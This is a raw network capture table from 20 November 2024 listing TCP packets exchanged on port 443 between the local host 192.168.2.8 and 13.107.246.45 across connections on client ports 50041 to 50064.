Nov 20, 2024 13:29:07.328564882 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.328712940 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.328727961 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.763384104 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.764251947 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.764278889 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.764753103 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.764759064 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.769366026 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.773698092 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.773763895 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.774173975 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.774194002 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.860182047 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.861159086 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.861186981 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.861773968 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.861779928 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.868042946 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.868169069 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.868216038 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.868344069 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.868356943 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.868366957 CET	50041	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.868372917 CET	443	50041	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.872709036 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.872904062 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.872961998 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.874447107 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.874447107 CET	50042	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.874492884 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.874521971 CET	443	50042	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.876080036 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.876116991 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.876182079 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.876326084 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.876338005 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.880122900 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.880163908 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.880220890 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.880642891 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.880656958 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.923619986 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.924236059 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.924261093 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.924725056 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.924731016 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.978385925 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.978956938 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.978974104 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:07.979485989 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:07.979491949 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.023046017 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.023772955 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.023863077 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.028752089 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.028970003 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.029038906 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.076075077 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.076114893 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.076142073 CET	50044	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.076148987 CET	443	50044	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.077510118 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.077545881 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.077559948 CET	50043	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.077565908 CET	443	50043	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.080813885 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.080904961 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.080982924 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.081553936 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.081590891 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.082257986 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.082288027 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.082354069 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.082456112 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.082468987 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.086993933 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.087061882 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.087109089 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.094285965 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.094310045 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.094327927 CET	50045	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.094335079 CET	443	50045	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.096811056 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.096853971 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.096920967 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.097065926 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.097084045 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.527414083 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.528175116 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.528212070 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.528701067 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.528712988 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.569514036 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.570137978 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.570179939 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.570591927 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.570599079 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.638571024 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.638660908 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.638710022 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.638726950 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.638775110 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.638992071 CET	50046	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.639012098 CET	443	50046	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.642931938 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.642996073 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.643059015 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.643196106 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.643207073 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.678586006 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.678703070 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.678801060 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.679717064 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.679734945 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.679744959 CET	50047	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.679750919 CET	443	50047	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.684127092 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.684166908 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.684237957 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.684386969 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.684401035 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.736747026 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.737273932 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.737354994 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.737751007 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.737766027 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.744203091 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.744456053 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.744594097 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.744615078 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.744848013 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.744894981 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.745281935 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.745289087 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:08.745415926 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:08.745421886 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.049531937 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.049566984 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.049616098 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.049671888 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.049875975 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.049880028 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.049905062 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.049926996 CET	50048	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.049935102 CET	443	50048	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050005913 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050039053 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050075054 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050123930 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050126076 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050141096 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050183058 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050250053 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050267935 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050277948 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050302029 CET	50049	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050309896 CET	443	50049	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050365925 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050374031 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.050398111 CET	50050	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.050404072 CET	443	50050	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.053683043 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.053718090 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.053797960 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054238081 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054245949 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.054302931 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054332018 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054339886 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.054476023 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054488897 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.054501057 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054599047 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054610014 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.054692030 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.054707050 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.311131954 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.311861992 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.311897039 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.312565088 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.312571049 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.326467037 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.327908993 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.327971935 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.328382969 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.328391075 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.419359922 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.419586897 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.419691086 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.419986010 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.420010090 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.420021057 CET	50051	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.420027971 CET	443	50051	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.423017979 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.423160076 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.423247099 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.423401117 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.423422098 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.427212954 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.427413940 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.431404114 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.431443930 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.431443930 CET	50052	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.431464911 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.431474924 CET	443	50052	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.433979988 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.434032917 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.434124947 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.434257984 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.434278011 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.699100018 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.700123072 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.700146914 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.700642109 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.700648069 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.724153042 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.724747896 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.724766970 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.724936962 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.725318909 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.725323915 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.725610018 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.725625038 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.725965977 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.725970984 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.800987005 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.801153898 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.801211119 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.801381111 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.801394939 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.801428080 CET	50054	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.801433086 CET	443	50054	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.805310965 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.805408001 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.805480003 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.805773973 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.805809975 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.830360889 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.830426931 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.830527067 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.830585003 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.830638885 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.830658913 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.830667973 CET	50055	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.830673933 CET	443	50055	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.832340002 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.832570076 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.832621098 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.832688093 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.832693100 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.832700968 CET	50053	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.832705021 CET	443	50053	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.834485054 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.834532976 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.835150003 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.835375071 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.835416079 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.835803032 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.835835934 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:09.835922956 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.836009979 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:09.836023092 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.105263948 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.106858969 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.106915951 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.107513905 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.107522011 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.111172915 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.111562014 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.111644030 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.111972094 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.111988068 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.216485023 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.216567039 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.216656923 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.216681004 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.216964960 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.217139006 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.217168093 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.217184067 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.217184067 CET	50057	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.217200994 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.217210054 CET	443	50057	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.219574928 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.219667912 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.219909906 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.220041037 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.220041037 CET	50056	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.220107079 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.220136881 CET	443	50056	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.221165895 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.221266031 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.221375942 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.221549034 CET	50061	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.221580982 CET	443	50061	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.224488974 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.224534035 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:10.224590063 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.224733114 CET	50062	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:10.224754095 CET	443	50062	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.389260054 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.389950991 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.389990091 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.390459061 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.390465975 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.393747091 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.394041061 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.394138098 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.394351959 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.394366980 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.394455910 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.394689083 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.394712925 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.394998074 CET	50060	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.395003080 CET	443	50060	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.495172024 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.495264053 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.495340109 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.495604992 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.495625019 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.495637894 CET	50058	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.495642900 CET	443	50058	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.497972965 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.498004913 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.498080015 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.498112917 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.498235941 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.498251915 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.498262882 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.498409033 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.498442888 CET	443	50059	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.498492002 CET	50059	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.499181986 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.499234915 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.499309063 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.499444962 CET	50063	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.499459028 CET	443	50063	13.107.246.45	192.168.2.8
Nov 20, 2024 13:29:11.500333071 CET	50064	443	192.168.2.8	13.107.246.45
Nov 20, 2024 13:29:11.500380039 CET	443	50064	13.107.246.45	192.168.2.8
